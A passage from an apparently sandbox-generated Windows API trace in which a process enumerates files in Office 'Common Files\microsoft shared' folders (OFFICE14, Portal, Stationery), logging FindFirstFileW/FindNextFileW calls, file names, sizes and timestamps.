ftCreationTime.dwHighDateTime=0x1cbe3e4, ftLastAccessTime.dwLowDateTime=0xad3b1460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3715a00, ftLastWriteTime.dwHighDateTime=0x1cbe3e4, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0244.855] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.855] GetProcessHeap () returned 0x550000 [0244.855] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.855] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c46c00, ftCreationTime.dwHighDateTime=0x1cbdfac, ftLastAccessTime.dwLowDateTime=0xacfacf40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb1c46c00, ftLastWriteTime.dwHighDateTime=0x1cbdfac, nFileSizeHigh=0x0, nFileSizeLow=0x11e9780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0244.856] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf201500, ftCreationTime.dwHighDateTime=0x1cbf448, ftLastAccessTime.dwLowDateTime=0xb34d7640, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf201500, ftLastWriteTime.dwHighDateTime=0x1cbf448, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0244.856] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec942b00, ftCreationTime.dwHighDateTime=0x1cbc467, ftLastAccessTime.dwLowDateTime=0xae1f9860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec942b00, ftLastWriteTime.dwHighDateTime=0x1cbc467, nFileSizeHigh=0x0, nFileSizeLow=0xf1390, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0244.856] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09ff800, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x220cfc30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd09ff800, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0xbf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0244.856] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0244.856] GetProcessHeap () returned 0x550000 [0244.856] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.856] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.856] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.856] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0244.856] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.857] GetProcessHeap () returned 0x550000 [0244.857] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.857] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96cba700, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x30cd96d0, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x96cba700, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x4588, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0244.857] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32421600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xae0a2c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x32421600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x14db68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0244.857] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32421600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xae0a2c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x32421600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x14db68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 0 [0244.857] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0244.857] GetProcessHeap () returned 0x550000 [0244.857] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0244.857] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0244.857] GetProcessHeap () returned 0x550000 [0244.857] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0244.857] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0244.883] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.883] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeefe5e10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.883] GetProcessHeap () returned 0x550000 [0244.883] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0244.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeefe5e10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0244.884] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeefe5e10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.884] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e9d00, ftCreationTime.dwHighDateTime=0x1ca912d, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc77e9d00, ftLastWriteTime.dwHighDateTime=0x1ca912d, nFileSizeHigh=0x0, nFileSizeLow=0x43a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0244.884] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e9d00, ftCreationTime.dwHighDateTime=0x1ca912d, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc77e9d00, ftLastWriteTime.dwHighDateTime=0x1ca912d, nFileSizeHigh=0x0, nFileSizeLow=0x43a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="PORTAL~1.DLL")) returned 0 [0244.884] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0244.884] GetProcessHeap () returned 0x550000 [0244.884] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0244.884] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdf7300, ftCreationTime.dwHighDateTime=0x1cb7004, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bdf7300, ftLastWriteTime.dwHighDateTime=0x1cb7004, nFileSizeHigh=0x0, nFileSizeLow=0x87180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1 [0244.884] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdf7300, ftCreationTime.dwHighDateTime=0x1cb7004, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bdf7300, ftLastWriteTime.dwHighDateTime=0x1cb7004, nFileSizeHigh=0x0, nFileSizeLow=0x87180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 0 [0244.884] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0244.884] GetProcessHeap () returned 0x550000 [0244.884] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0244.884] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0244.885] GetProcessHeap () returned 0x550000 [0244.885] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0244.885] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0244.891] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.891] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42146c84, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42146c84, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41e4d104, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0244.891] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x8267651c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0244.891] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x81305af3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0244.891] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41e73264, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0244.891] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x82780ebc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0244.891] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42192f44, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42192f44, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41ebf524, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0244.892] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42192f44, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42192f44, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x827cd17c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0244.892] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42192f44, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42192f44, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41f0b7e4, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0244.892] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421b90a4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421b90a4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x827f32dc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0244.892] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421b90a4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421b90a4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41f57aa4, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0244.892] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421df204, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421df204, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x8283f59c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0244.892] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421df204, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x421df204, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41fa3d64, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0244.892] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42205364, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42205364, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x828d7b1c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0244.892] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42205364, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42205364, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41ff0024, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0244.892] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4222b4c4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4222b4c4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x828fdc7c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0244.892] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4222b4c4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4222b4c4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x42016184, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0244.892] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42251624, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42251624, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x82949f3c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0244.893] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42251624, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42251624, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x42062444, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0244.893] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42277784, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42277784, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829961fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0244.893] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: 